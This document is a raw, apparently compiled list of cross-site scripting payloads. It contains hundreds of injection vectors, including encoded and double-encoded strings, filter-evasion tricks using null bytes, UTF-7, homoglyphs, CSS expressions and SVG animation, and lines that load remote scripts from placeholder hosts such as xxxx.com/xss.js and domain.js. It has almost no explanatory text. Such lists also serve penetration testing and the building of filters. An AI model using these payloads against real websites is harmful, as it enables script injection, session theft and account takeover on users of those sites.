%3Cscript%3Econfirm(-[])%3C/script%3E  
%22%3E%3Cscript%3Econfirm(-[])%3C/script%3E  
'%3E%3Cscript%3Econfirm(-[])%3C/script%3E  
%3Cscr/**/ipt%3Econfirm(1)%3C/sc/**/ipt%3E  
%22%3E%3Cscr/**/ipt%3Econfirm(1)%3C/sc/**/ipt%3E  
'%3E%3Cscr/**/ipt%3Econfirm(1)%3C/sc/**/ipt%3E  
/'%3E%3Cscript%3EX%3C//script%3E  
/'%3E%3Cbody%20onload=/'X/'%3E  
%3E%3Cscript%3EX%3C//script%3E  
%3Cbody%20onload=%22X%22%3E  
%22%3E%3Cbody%20onload=%22X%22%3E  
'%3E%3Cbody%20onload=%22X%22%3E  
%3Cimg%20src=%22x:X%22%20onerror=%22confirm(1)%22%3E  
%22%3E%3Cimg%20src=%22x:X%22%20onerror=%22confirm(1)%22%3E  
'%3E%3Cimg%20src=%22x:X%22%20onerror=%22confirm(1)%22%3E  
'%3E%3Cimg%20src=a%20onerror=confirm(1)%0A%3Ea  
%22%3E%3Cimg%20src=a%20onerror=confirm(1)%0A%3Ea  
onmouseover=confirm(1);  
%3C%3CSCRIPT%3Econfirm(1);/  
%22%3E%3C%3CSCRIPT%3Econfirm(1);/  
'%3E%3C%3CSCRIPT%3Econfirm(1);/  
confirm(1)  
confirm(String.fromCharCode(49))  
confirm(/1/.source)  
eval('confirm(1)')  
this['EvAL'.toLowerCase()]('confirm(1)'.toLowerCase())  
(confirm(1)).replace(/.+/,eval);  
/u0061/u006c/u0065/u0072/u0074(1)   
d&  
data:_;;;:;base64_______,PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==  
%3CLAYER%20SRC=%22javascript:confirm(1);%22%3E%3C/LAYER%3E  
%22%3E%3CLAYER%20SRC=%22javascript:confirm(1);%22%3E%3C/LAYER%3E  
'%3E%3CLAYER%20SRC=%22javascript:confirm(1);%22%3E%3C/LAYER%3E  
%3CLINK%20REL=%22stylesheet%22%20HREF=%22javascript:confirm(1);%22%3E  
%22%3E%3CLINK%20REL=%22stylesheet%22%20HREF=%22javascript:confirm(1);%22%3E  
'%3E%3CLINK%20REL=%22stylesheet%22%20HREF=%22javascript:confirm(1);%22%3E  
%3C!--[if%20gte%20IE%204]%3E%3CSCRIPT%3Econfirm(1);%3C/SCRIPT%3E  
%22%3E%3CSCRIPT%3Econfirm(1);%3C/SCRIPT%3E  
'%3E%3CSCRIPT%3Econfirm(1);%3C/SCRIPT%3E%3C![endif]--%3E  
%22%3E%3C!--[if%20gte%20IE%204]%3E%3CSCRIPT%3Econfirm(1);%3C/SCRIPT%3E  
'%3E%3C!--[if%20gte%20IE%204]%3E%3CSCRIPT%3Econfirm(1);%3C/SCRIPT%3E  
%3CBASE%20HREF=%22javascript:confirm(1);//%22%3E  
%22%3E%3CBASE%20HREF=%22javascript:confirm(1);//%22%3E  
'%3E%3CBASE%20HREF=%22javascript:confirm(1);//%22%3E  
data:text/html;base64,PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==  
%3Cscript%3Econfirm(String.fromCharCode(75,67,70))%3C/script%3E  
%22%3E%3Cscript%3Econfirm(String.fromCharCode(75,67,70))%3C/script%3E  
'%3E%3Cscript%3Econfirm(String.fromCharCode(75,67,70))%3C/script%3E  
%3CIFRAME%20SRC=%22javascript:confirm(1);%22%3E%3C/IFRAME%3E  
%22%3E%3CIFRAME%20SRC=%22javascript:confirm(1);%22%3E%3C/IFRAME%3E  
'%3E%3CIFRAME%20SRC=%22javascript:confirm(1);%22%3E%3C/IFRAME%3E  
%3Ciframe%20src=%22javascript:confirm(1);%20%3C  
%22%3E%3Ciframe%20src=%22javascript:confirm(1);%20%3C  
'%3E%3Ciframe%20src=%22javascript:confirm(1);%20%3C  
%3Cobject%20data=%22data:text/html;base64,PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==%22%3E%3C/object%3E  
%22%3E%3Cobject%20data=%22data:text/html;base64,PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==%22%3E%3C/object%3E  
'%3E%3Cobject%20data=%22data:text/html;base64,PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==%22%3E%3C/object%3E  
%3CSCRIPT%3Ex=/X/%20%20confirm(x.source)%3C/SCRIPT%3E  
%22%3E%3CSCRIPT%3Ex=/X/%20%20confirm(x.source)%3C/SCRIPT%3E  
%22%3E%3Cimg%20src=X%20onerror=confirm(1)%3E  
'%3E%3Cimg%20src=X%20onerror=confirm(1)%3E  
%3Cimg%20src=/%20onerror=confirm(1);%3E  
%22%3E%3Cimg%20src=/%20onerror=confirm(1);%3E  
'%3E%3Cimg%20src=/%20onerror=confirm(1);%3E  
%3CBODY%20BACKGROUND=%22javascript:confirm(1)%22%3E  
%22%3E%3CBODY%20BACKGROUND=%22javascript:confirm(1)%22%3E  
'%3E%3CBODY%20BACKGROUND=%22javascript:confirm(1)%22%3E  
%3CTABLE%20BACKGROUND=%22javascript:confirm(1)%22%3E  
%22%3E%3CTABLE%20BACKGROUND=%22javascript:confirm(1)%22%3E  
<svg/onload=location='javascript:confirm(1)'>
<svg/onload=location=location.hash.substr(1)>#javascript:confirm(1)
<svg/onload=location='javas'%2B'cript:'%2B'ale'%2B'rt'%2Blocation.hash.substr(1)>#(1)
<svg onload=confirm(tagName)>
<javascript onclick=confirm(tagName)>click me!
<javascript onclick=confirm(tagName%2Blocation.hash)>click me!#:confirm(1)
<javascript: onclick=confirm(tagName%2Blocation.hash)>click me!#confirm(1)
<javascript: onclick=confirm(tagName%2BinnerHTML%2Blocation.hash)>/*click me!#*/confirm(1)
<javascript: onclick=location=tagName%2BinnerHTML%2Blocation.hash>/*click me!#*/confirm(1)
<javascript: onclick=confirm(tagName%2BinnerHTML%2Blocation.hash)>'click me!</javascript:>#'-confirm(1)
%26p=%26lt;svg/onload=confirm(1)><j onclick=location%2B=document.body.textContent>click me!
<j onclick=location%2B=textContent>%26p=%26lt;svg/onload=confirm(1)>
<j%26p=<svg%2Bonload=confirm(1) onclick=location%2B=outerHTML>click me!
<j onclick=location=textContent>?p=%26lt;svg/onload=confirm(1)>
<svg id=?p=<svg/onload=confirm(1)%2B onload=location=id>
<svg id=?p=<script/src=//3237054390/1%2B onload=location=id>
<iframe id=t:confirm(1) name=javascrip onload=location=name%2bid>
<j onclick=location=innerHTML>javascript%26colon;confirm(1)//
javascript:confirm(1)//
*/"<j 1=-confirm(9)// onclick=location=innerHTML%2bpreviousSibling.nodeValue%2bouterHTML>javascript:/*click me!
javascript:/*click me! + */" + <x 1=" -confirm(9)//" onclick=location=innerHTML%2bpreviousSibling.nodeValue%2bouterHTML>
*/"<j"-confirm(1)<!– onclick=location=innerHTML%2bpreviousSibling.nodeValue%2bouterHTML>javascript:/*click me!
javascript:/*click me! + */" + <x"-confirm(9)<!– onclick=location=innerHTML%2bpreviousSibling.nodeValue%2bouterHTML>
<j 1="*/""-confirm(1)<!– onclick=location=innerHTML%2bouterHTML>javascript:/*click me!
<confirm(1)<!– onclick=location=innerHTML%2bouterHTML>javascript:1/*click me!*/</confirm(1)<!–>
javascript:1/*click me!*/ + <confirm(1)<!– onclick=location=innerHTML%2bouterHTML>
“-confirm(1)<javas onclick=location=tagName%2binnerHTML%2bpreviousSibling.nodeValue>cript:"click me!
javas + cript:" + “-confirm(1)
"-confirm(1)<javascript:" onclick=location=tagName%2bpreviousSibling.nodeValue>click me!
<javas onclick=location=tagName%2binnerHTML%2bURL>cript:"-'click me!</javas>#'-confirm(1)
javascrip + t:confirm(1)
</script><script>confirm(1)</script> 
<img src=x onerror=confirm(1)>
onerror=confirm(1)
javas + cript:"-‘click me! + http://domain/page?p=%3Cjavas%20onclick=location=tagName%2binnerHTML%2bURL%3Ecript:"-‘click me!</javas>#’-confirm(1)
<javas onclick=location=tagName%2binnerHTML%2bURL>cript:</javas>#%0Aconfirm(1)
javas + cript: + http://domain/page?p=<javas onclick=location=tagName%2binnerHTML%2bURL>cript:</javas>#%0Aconfirm(1)
<j onclick=location=innerHTML%2bURL>javascript:</j>#%0Aconfirm(1)
javascript: + http://domain/page?p=<j onclick=location=innerHTML%2bURL>javascript:</j>#%0Aconfirm(1)
<j onclick=location=innerHTML%2bURL>javascript:”-‘click me!</j>#’-confirm(1)
javascript:”-‘click me! + http://domain/page?p=<j onclick=location=innerHTML%2bURL>javascript:”-‘click me!</j>#’-confirm(1)
<javascript:”-‘ onclick=location=tagName%2bURL>click me!#’-confirm(1)
javascript:”-‘ + http://domain/page?p=<javascript:”-‘ onclick=location=tagName%2bURL>click me!#’-confirm(1)
<a href=javascript:confirm(1)>click</a>
<a href=j&#97vascript:confirm(1)>click</a>
<p onmouseover=confirm(1)>IamParagraph</p>
<details ontoggle=confirm(1)> 
<input type=search onsearch=confirm(1)> 
%2f%2a%2d%2d%3e%5d%5d%3e%25%3e%3f%3e%3c%2f%6f%62%6a%65%63%74%3e%3c%2f%73%63%72%69%70%74%3e%3c%2f%74%69%74%6c%65%3e%3c%2f%74%65%78%74%61%72%65%61%3e%3c%2f%6e%6f%73%63%72%69%70%74%3e%3c%2f%73%74%79%6c%65%3e%3c%2f%78%6d%70%3e%27%2d%2f%22%2f%2d%61%6c%65%72%74%28%31%29%2f%2f%3e%3c%69%6d%67%20%73%72%63%3d%31%20%6f%6e%65%72%72%6f%72%3d%61%6c%65%72%74%28%31%29%3e%27
%25%32%66%25%32%61%25%32%64%25%32%64%25%33%65%25%35%64%25%35%64%25%33%65%25%32%35%25%33%65%25%33%66%25%33%65%25%33%63%25%32%66%25%36%66%25%36%32%25%36%61%25%36%35%25%36%33%25%37%34%25%33%65%25%33%63%25%32%66%25%37%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%33%65%25%33%63%25%32%66%25%37%34%25%36%39%25%37%34%25%36%63%25%36%35%25%33%65%25%33%63%25%32%66%25%37%34%25%36%35%25%37%38%25%37%34%25%36%31%25%37%32%25%36%35%25%36%31%25%33%65%25%33%63%25%32%66%25%36%65%25%36%66%25%37%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%33%65%25%33%63%25%32%66%25%37%33%25%37%34%25%37%39%25%36%63%25%36%35%25%33%65%25%33%63%25%32%66%25%37%38%25%36%64%25%37%30%25%33%65%25%32%37%25%32%64%25%32%66%25%32%32%25%32%66%25%32%64%25%36%31%25%36%63%25%36%35%25%37%32%25%37%34%25%32%38%25%33%31%25%32%39%25%32%66%25%32%66%25%33%65%25%33%63%25%36%39%25%36%64%25%36%37%25%32%30%25%37%33%25%37%32%25%36%33%25%33%64%25%33%31%25%32%30%25%36%66%25%36%65%25%36%35%25%37%32%25%37%32%25%36%66%25%37%32%25%33%64%25%36%31%25%36%63%25%36%35%25%37%32%25%37%34%25%32%38%25%33%31%25%32%39%25%33%65%25%32%37
%3Cimg%2Fsrc%3D%22x%22%2Fonerror%3D%22prom%5Cu0070t%2526%2523x28%3B%2526%2523x27%3B%2526%2523x58%3B%2526%2523x53%3B%2526%2523x53%3B%2526%2523x27%3B%2526%2523x29%3B%22%3E
<img/src="x"/onerror="[JS-F**K Payload]">
%3c%69%6d%67%2f%73%72%63%3d%22%78%22%2f%6f%6e%65%72%72%6f%72%3d%22%5b%4a%53%2d%46%2a%2a%4b%20%50%61%79%6c%6f%61%64%5d%22%3e
%25%33%63%25%36%39%25%36%64%25%36%37%25%32%66%25%37%33%25%37%32%25%36%33%25%33%64%25%32%32%25%37%38%25%32%32%25%32%66%25%36%66%25%36%65%25%36%35%25%37%32%25%37%32%25%36%66%25%37%32%25%33%64%25%32%32%25%35%62%25%34%61%25%35%33%25%32%64%25%34%36%25%32%61%25%32%61%25%34%62%25%32%30%25%35%30%25%36%31%25%37%39%25%36%63%25%36%66%25%36%31%25%36%34%25%35%64%25%32%32%25%33%65
%27%3b%61%6c%65%72%74%28%53%74%72%69%6e%67%2e%66%72%6f%6d%43%68%61%72%43%6f%64%65%28%38%38%2c%38%33%2c%38%33%29%29%2f%2f%27%3b%61%6c%65%72%74%28%53%74%72%69%6e%67%2e%66%72%6f%6d%43%68%61%72%43%6f%64%65%28%38%38%2c%38%33%2c%38%33%29%29%2f%2f%22%3b%61%6c%65%72%74%28%53%74%72%69%6e%67%2e%66%72%6f%6d%43%68%61%72%43%6f%64%65%28%38%38%2c%38%33%2c%38%33%29%29%2f%2f%22%3b%61%6c%65%72%74%28%53%74%72%69%6e%67%2e%66%72%6f%6d%43%68%61%72%43%6f%64%65%28%38%38%2c%38%33%2c%38%33%29%29%2f%2f%2d%2d%3e%3c%2f%53%43%52%49%50%54%3e%22%3e%27%3e%3c%53%43%52%49%50%54%3e%61%6c%65%72%74%28%53%74%72%69%6e%67%2e%66%72%6f%6d%43%68%61%72%43%6f%64%65%28%38%38%2c%38%33%2c%38%33%29%29%3c%2f%53%43%52%49%50%54%3e
%25%32%37%25%33%62%25%36%31%25%36%63%25%36%35%25%37%32%25%37%34%25%32%38%25%35%33%25%37%34%25%37%32%25%36%39%25%36%65%25%36%37%25%32%65%25%36%36%25%37%32%25%36%66%25%36%64%25%34%33%25%36%38%25%36%31%25%37%32%25%34%33%25%36%66%25%36%34%25%36%35%25%32%38%25%33%38%25%33%38%25%32%63%25%33%38%25%33%33%25%32%63%25%33%38%25%33%33%25%32%39%25%32%39%25%32%66%25%32%66%25%32%37%25%33%62%25%36%31%25%36%63%25%36%35%25%37%32%25%37%34%25%32%38%25%35%33%25%37%34%25%37%32%25%36%39%25%36%65%25%36%37%25%32%65%25%36%36%25%37%32%25%36%66%25%36%64%25%34%33%25%36%38%25%36%31%25%37%32%25%34%33%25%36%66%25%36%34%25%36%35%25%32%38%25%33%38%25%33%38%25%32%63%25%33%38%25%33%33%25%32%63%25%33%38%25%33%33%25%32%39%25%32%39%25%32%66%25%32%66%25%32%32%25%33%62%25%36%31%25%36%63%25%36%35%25%37%32%25%37%34%25%32%38%25%35%33%25%37%34%25%37%32%25%36%39%25%36%65%25%36%37%25%32%65%25%36%36%25%37%32%25%36%66%25%36%64%25%34%33%25%36%38%25%36%31%25%37%32%25%34%33%25%36%66%25%36%34%25%36%35%25%32%38%25%33%38%25%33%38%25%32%63%25%33%38%25%33%33%25%32%63%25%33%38%25%33%33%25%32%39%25%32%39%25%32%66%25%32%66%25%32%32%25%33%62%25%36%31%25%36%63%25%36%35%25%37%32%25%37%34%25%32%38%25%35%33%25%37%34%25%37%32%25%36%39%25%36%65%25%36%37%25%32%65%25%36%36%25%37%32%25%36%66%25%36%64%25%34%33%25%36%38%25%36%31%25%37%32%25%34%33%25%36%66%25%36%34%25%36%35%25%32%38%25%33%38%25%33%38%25%32%63%25%33%38%25%33%33%25%32%63%25%33%38%25%33%33%25%32%39%25%32%39%25%32%66%25%32%66%25%32%64%25%32%64%25%33%65%25%33%63%25%32%66%25%35%33%25%34%33%25%35%32%25%34%39%25%35%30%25%35%34%25%33%65%25%32%32%25%33%65%25%32%37%25%33%65%25%33%63%25%35%33%25%34%33%25%35%32%25%34%39%25%35%30%25%35%34%25%33%65%25%36%31%25%36%63%25%36%35%25%37%32%25%37%34%25%32%38%25%35%33%25%37%34%25%37%32%25%36%39%25%36%65%25%36%37%25%32%65%25%36%36%25%37%32%25%36%66%25%36%64%25%34%33%25%36%38%25%36%31%25%37%32%25%34%33%25%36%66%25%36%34%25%36%35%25%32%38%25%33%38%25%33%38%25%32%63%25%33%38%25%33%33%25%32%63%25%33%38%25%33%33%25%32%39%25%32%39%25%33%63%25%32%66%25%35%33%25%34%33%25%35%32%25%34%39%25%35%30%25%35%34%25%33%65
0\"autofocus/onfocus=confirm(1)--><video/poster/onerror=confirm(2)>"-confirm(3)-"
<script/src=data:,confirm()>
<script\x20type="text/javascript">javascript:confirm(1);</script>
<script\x3Etype="text/javascript">javascript:confirm(1);</script>
<script\x0Dtype="text/javascript">javascript:confirm(1);</script>
<script\x09type="text/javascript">javascript:confirm(1);</script>
<script\x0Ctype="text/javascript">javascript:confirm(1);</script>
<script\x2Ftype="text/javascript">javascript:confirm(1);</script>
<script\x0Atype="text/javascript">javascript:confirm(1);</script>
'`"><\x3Cscript>javascript:confirm(1)</script>        
'`"><\x00script>javascript:confirm(1)</script>
<img src=1 href=1 onerror="javascript:confirm(1)"></img>
<audio src=1 href=1 onerror="javascript:confirm(1)"></audio>
<video src=1 href=1 onerror="javascript:confirm(1)"></video>
<body src=1 href=1 onerror="javascript:confirm(1)"></body>
<image src=1 href=1 onerror="javascript:confirm(1)"></image>
<object src=1 href=1 onerror="javascript:confirm(1)"></object>
<script src=1 href=1 onerror="javascript:confirm(1)"></script>
<svg onResize svg onResize="javascript:javascript:confirm(1)"></svg onResize>
<svg><a><rect width=100% height=100%>
<svg><a><rect width=100% height=100%><animate attributeName=width from=0 to=100% dur=2s>
<svg><a><rect width=100% height=100% /><animate attributeName=href to=//google.com>
<svg><a><rect width=100% height=100%><animate attributeName=href from=//google.com to=?>
<svg><a><rect width=100% height=100% /><animate attributeName=href to=javas&#99ript:confirm(1)>
<svg width=12cm height=9cm><a><image href=//brutelogic.com.br/yt.jpg /><animate attributeName=href values=javas&#99ript:confirm(1)>
"><svg onload=confirm(1)>
<svg onload=confirm(1)>
"onmouseover=confirm(1)//
</script><svg onload=confirm(1)>
'-confirm(1)-'
\'-confirm(1)//
<title onPropertyChange title onPropertyChange="javascript:javascript:confirm(1)"></title onPropertyChange>
<iframe onLoad iframe onLoad="javascript:javascript:confirm(1)"></iframe onLoad>
<body onMouseEnter body onMouseEnter="javascript:javascript:confirm(1)"></body onMouseEnter>
<body onFocus body onFocus="javascript:javascript:confirm(1)"></body onFocus>
<frameset onScroll frameset onScroll="javascript:javascript:confirm(1)"></frameset onScroll>
<script onReadyStateChange script onReadyStateChange="javascript:javascript:confirm(1)"></script onReadyStateChange>
><img id=XSS SRC=x onerror=confirm(XSS);>
;!--"<XSS>=&{()}"
<IMG id=XSS SRC="javascript:confirm('XSS');">
<IMG id=XSS SRC=javascript:confirm('XSS')>
<IMG id=XSS SRC=JaVaScRiPt:confirm('XSS')>
<IMG id=XSS SRC=javascript:confirm("XSS")>
<IMG id=XSS SRC=`javascript:confirm("'XSS'")`>
<IMG id=XSS SRC="jav ascript:confirm('XSS');">
<IMG id=XSS SRC="jav    ascript:confirm('XSS');">
<IMG id=XSS SRC="jav
ascript:confirm('XSS');">
perl -e 'print "<IMG id=XSS SRC=java\0script:confirm(\"XSS\")>";' > out
<IMG id=XSS SRC="  javascript:confirm('XSS');">
<IMG id=XSS SRC='javascript:confirm('XSS')
<SCRIPT>confirm(/XSS/.source)</SCRIPT>
<INPUT TYPE="IMAGE" id=XSS SRC="javascript:confirm('XSS');">
<IMG DYN id=XSS SRC="javascript:confirm('XSS')">
<IMG LOW id=XSS SRC="javascript:confirm('XSS')">
<BGSOUND id=XSS SRC="javascript:confirm('XSS');">
<IMG id=XSS SRC='vbscript:msgbox("XSS")'>
<TABLE id=XSS BACKGROUND="javascript:confirm('XSS')">
<TABLE id=XSS><TD BACKGROUND="javascript:confirm('XSS')">
<DIV id=XSS STYLE="background-image: url(javascript:confirm('XSS'))">
<DIV id=XSS STYLE="width: expression(confirm('XSS'));">
<IFRAME id=XSS SRC="javascript:confirm('XSS');"></IFRAME>
<FRAMESET><FRAME id=XSS SRC="javascript:confirm('XSS');"></FRAMESET>
<TABLE><TD BACKGROUND="javascript:confirm('XSS')">"
<IMG id=XSS STYLE="xss:expr/*XSS*/ession(confirm('XSS'))">
<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:confirm('XSS')></OBJECT>
a="get";b="URL(\"";c="javascript:";d="confirm('XSS');\")";eval(a+b+c+d);
<XML id=XSS><X><C><![CDATA[<IMG id=XSS SRC="javas]]><![CDATA[cript:confirm('XSS');">]]></C></X><xml><SPAN DATAid=XSS SRC=#I DATAFLD=CDATAFORMATAS=HTML></SPAN>
<XML ID="XSS"><I><B><IMG id=XSS SRC="javas<!-- -->cript:confirm('XSS')"></B></I></XML><SPAN DATAid=XSS SRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>
<XML id=XSS SRC="xsstest.xml" ID=I></XML><SPAN DATAid=XSS SRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>
<HTML><BODY><?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time"><?import namespace="t" implementation="#default#time2"><t:set attributeName="innerHTML" to="XSS<SCRIPT DEFER>confirm("XSS")</SCRIPT>"></BODY></HTML>
<SCRIPT id=XSS SRC=http://127.0.0.1></SCRIPT>
//--></SCRIPT>">'><SCRIPT>confirm(String.fromCharCode(88,83,83))</SCRIPT>
<IMG id=XSS SRC=javascript:confirm(String.fromCharCode(88,83,83))>
<IMG id=XSS SRC="&14;javascript:confirm('XSS');">
<SCRIPT <B>=confirm('XSS');"></SCRIPT>
<IFRAME id=XSS SRC="javascript:confirm('XSS'); <
<SCRIPT>a=/XSS/nconfirm('XSS');</SCRIPT>
<STYLE>li {list-style-image: url("javascript:confirm('XSS');</STYLE><UL><LI>XSS
<DIV STYLE="background-image: url(javascript:confirm('XSS'));">
<HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"></HEAD>+ADw-SCRIPT+AD4-confirm('XSS');+ADw-/SCRIPT+AD4-
<a href="javascript#confirm('XSS');">
<div onmouseover="confirm('XSS');">,
<input type="image" dynid=XSS SRC="javascript:confirm('XSS');">
&<script>confirm('XSS');</script>">
<IMG id=XSS SRC=&{confirm('XSS');};>
<a id=XSS href="about:<script>confirm('XSS');</script>">
<DIV id=XSS STYLE="binding: url(javascript:confirm('XSS'));">
<OBJECT classid=clsid:..." codebase="javascript:confirm('XSS');">
<style><!--</style><script>confirm('XSS');//--></script>
![CDATA[<!--]]<script>confirm('XSS');//--></script>
<!-- -- --><script>confirm('XSS');</script><!-- -- -->
<img id=XSS SRC="blah"onmouseover="confirm('XSS');">
<img id=XSS SRC="blah>"onmouseover="confirm('XSS');">
<xml id="X"><a><b><script>confirm('XSS');</script>;<b></a></xml>
<div datafld="b" dataformatas="html" dataid=XSS SRC="#XSS"></div>
[\xC0][\xBC]script>confirm('XSS');[\xC0][\xBC]/script>
<XML ID=I><X><C><![CDATA[<IMG id=XSS SRC="javas]]<![CDATA[cript:confirm('XSS');">]]</C><X></xml>
<form id="test" /><button form="test" formaction="javascript:eval(String['fromCharCode'](97,108,101,114,116,40,39,120,115,115,39,41,32))">X
<input id=XSS onfocus=javascript:eval(String['fromCharCode'](97,108,101,114,116,40,39,120,115,115,39,41,32)) autofocus>
<select id=XSS onfocus=javascript:eval(String['fromCharCode'](97,108,101,114,116,40,39,120,115,115,39,41,32)) autofocus>
<textarea id=XSS onfocus=javascript:eval(String['fromCharCode'](97,108,101,114,116,40,39,120,115,115,39,41,32)) autofocus>
<keygen id=XSS onfocus=javascript:eval(String['fromCharCode'](97,108,101,114,116,40,39,120,115,115,39,41,32)) autofocus>
<input id=XSS onblur=javascript:eval(String['fromCharCode'](97,108,101,114,116,40,39,120,115,115,39,41,32)) autofocus><input autofocus>
<video id=XSS poster=javascript:eval(String['fromCharCode'](97,108,101,114,116,40,39,120,115,115,39,41,32))//
<body id=XSS onscroll=eval(String['fromCharCode'](97,108,101,114,116,40,39,120,115,115,39,41,32))><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>
<video><source onerror="javascript:eval(String['fromCharCode'](97,108,101,114,116,40,39,120,115,115,39,41,32))">
<video onerror="javascript:eval(String['fromCharCode'](97,108,101,114,116,40,39,120,115,115,39,41,32))"><source>
<iframe id=XSS / /onload=confirm(/XSS/)></iframe>
<iframe id=XSS / "onload=confirm(/XSS/)></iframe>
<iframe id=XSS///////onload=confirm(/XSS/)></iframe>
<iframe id=XSS "onload=confirm(/XSS/)></iframe>
<iframe id=XSS <?php echo chr(11)?> onload=confirm(/XSS/)></iframe>
<iframe id=XSS <?php echo chr(12)?> onload=confirm(/XSS/)></iframe>
" onfocus=confirm(XSS) "> <"
" onblur=confirm(XSS) "> <"
" onmouseover=confirm(XSS) ">
" onclick=confirm(XSS) ">
<FRAMESET><FRAME id=XSS SRC=\"javascript:confirm('XSS');\"></FRAMESET>
</textarea>'"><script>confirm(XSS)</script>
</script></script><<<<script><>>>><<<script>confirm(XSS)</script>
<html><noconfirm><noscript>(XSS)</noscript><script>(XSS)</script>
'></select><script>confirm(XSS)</script>
<body background=javascript:'"><script>confirm(XSS)</script>></body>
<SCRIPT>confirm('XSS');</SCRIPT>
<SCRIPT id=XSS SRC=http://xxxx.com/xss.js></SCRIPT>
<IMG id=XSS SRC=`javascript:confirm("RSnake says, 'XSS'")`>
id=XSS SRC=<IMG 6;avascript:confirm('XSS')>
<SCRIPT/XSS id=XSS SRC="http://xxxx.com/xss.js"></SCRIPT>
<SCRIPT id=XSS SRC=http://xxxx.com/xss.js?<B>
<IMG id=XSS SRC="javascript:confirm('XSS')"
<SCRIPT>a=/XSS/
<IMG DYNid=XSS SRC="javascript:confirm('XSS')">
<IMG LOWid=XSS SRC="javascript:confirm('XSS')">
<LAYER id=XSS SRC="http://xxxx.com/scriptlet.html"></LAYER>
<LINK REL="stylesheet" HREF="http://xxxx.com/xss.css">
<STYLE>@import'http://xxxx.com/xss.css';</STYLE>
<META HTTP-EQUIV="Link" Content="<http://xxxx.com/xss.css>; REL=stylesheet">
<STYLE>BODY{-moz-binding:url("http://xxxx.com/xssmoz.xml#xss")}</STYLE>
<IMG id=XSS SRC="mocha:[code]">
<IMG id=XSS SRC="livescript:[code]">
<META HTTP-EQUIV="Link" Content="<javascript:confirm('XSS')>; REL=stylesheet">
exp/*<XSS STYLE='no\xss:noxss("*//*");
<OBJECT TYPE="text/x-scriptlet" DATA="http://xxxx.com/scriptlet.html"></OBJECT>
getURL("javascript:confirm('XSS')")
a="get";
<!--<value><![CDATA[<XML ID=I><X><C><![CDATA[<IMG id=XSS SRC="javas<![CDATA[cript:confirm('XSS');">
<XML id=XSS SRC="http://xxxx.com/xsstest.xml" ID=I></XML>
<HTML><BODY>
<SCRIPT id=XSS SRC="http://xxxx.com/xss.jpg"></SCRIPT>
<!--#exec cmd="/bin/echo '<SCRIPT SRC'"--><!--#exec cmd="/bin/echo '=http://xxxx.com/xss.js></SCRIPT>'"-->
<? echo('<SCR)';
<HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-confirm('XSS');+ADw-/SCRIPT+AD4-
<SCRIPT a=">" id=XSS SRC="http://xxxx.com/xss.js"></SCRIPT>
<SCRIPT a=">" '' id=XSS SRC="http://xxxx.com/xss.js"></SCRIPT>
<SCRIPT "a='>'" id=XSS SRC="http://xxxx.com/xss.js"></SCRIPT>
<SCRIPT a=`>` id=XSS SRC="http://xxxx.com/xss.js"></SCRIPT>
<SCRIPT>document.write("<SCRI");</SCRIPT>PT id=XSS SRC="http://xxxx.com/xss.js"></SCRIPT>
<iMg srC=1 lAnGuAGE=VbS oNeRroR=mSgbOx(1)>
Null-byte character between HTML attribute name and equal sign (IE, Safari).
Slash character between HTML attribute name and equal sign (IE, Firefox, Chrome, Safari).
Vertical tab between HTML attribute name and equal sign (IE, Safari).
Null-byte character between equal sign and JavaScript code (IE).
<img src='1' onerror=\x00confirm(0) />
Null-byte character between characters of HTML attribute names (IE).
<img src='1' o\x00nerr\x00or=confirm(0) />
<img src="1" onnerror="confirm(1)">
%E0%80%BCimg%20src%3D%E0%80%A21%E0%80%A2%20onerror%3D%E0%80%A2confirm(1)%E0%80%A2%E0%80%BE
UTF-7 (Missing charset?)
Unicode .NET Ugliness
%uff1cscript%uff1econfirm(1)%uff1c/script%uff1e
Classic ASP performs some unicode homoglyphic translations... don't ask why...
<img src="1" onerror="confirm('1')">
%u3008img%20src%3D%221%22%20onerror%3D%22confirm(%uFF071%uFF07)%22%u232A
Useless and/or Useful features.
HTML 5 (Not comphrensive)
<video src="http://www.w3schools.com/html5/movie.ogg" onloadedmetadata="confirm(1)" />
<video src="http://www.w3schools.com/html5/movie.ogg" onloadstart="confirm(1)" />
Usuage of non-existent elements (IE)
<blah style="blah:expression(confirm(1))" />
CSS Comments (IE)
<div style="z:exp/*anything*/res/*here*/sion(confirm(1))" />
Alternate ways of executing JavaScript functions
Split up JavaScript into HTML attributes
HTML is parsed before JavaScript
<script>
var junk = '</script><script>confirm(1)</script>';
</script>
HTML is parsed before CSS
<style>
body { background-image:url('http://www.blah.com/</style><script>confirm(1)</script>'); }
</style>
XSS in XML documents [doctype = text/xml] (Firefox, Chrome, Safari).
<?xml version="1.0" ?>
<someElement>
<img src=x onerror=with(document)body.appendChild(document.createElement('script')).src="domain.js"></img>
<img src=x onerror="with(document)body.appendChild(createElement('script')).src='domain.js'"></img>
<img src=1 onerror=jQuery.getScript("domain.js")> 
<img src="#" onerror="$.getScript('domain.js')">
<img src="#" onerror="var a=String.fromCharCode(47);$.getScript(a+a+'domain.sj'+a+'4091')">
<img src='0' onerror=with(document)body.appendChild(createElement('script')).src='domain.js'>
<img src="#" onload="s=document.createElement('script');s.src='domain.js'+Math.random();document.body.appendChild(s)" border="0">
<img src=i onerror=eval(jQuery.getScript('domain.js'))>
<img src=N onerror=eval(javascript:document.write(unescape(' <script src="domain.js"></script>'));)>
<img src=x onerror=document.body.appendChild(document.createElement('script')).src='domain.js'>
<img src=x onerror="with(document)body.appendChild(createElement('script')).src='domain.js'" width="0" height="0"></img>
<html onMouseUp html onMouseUp="javascript:javascript:confirm(1)"></html onMouseUp>
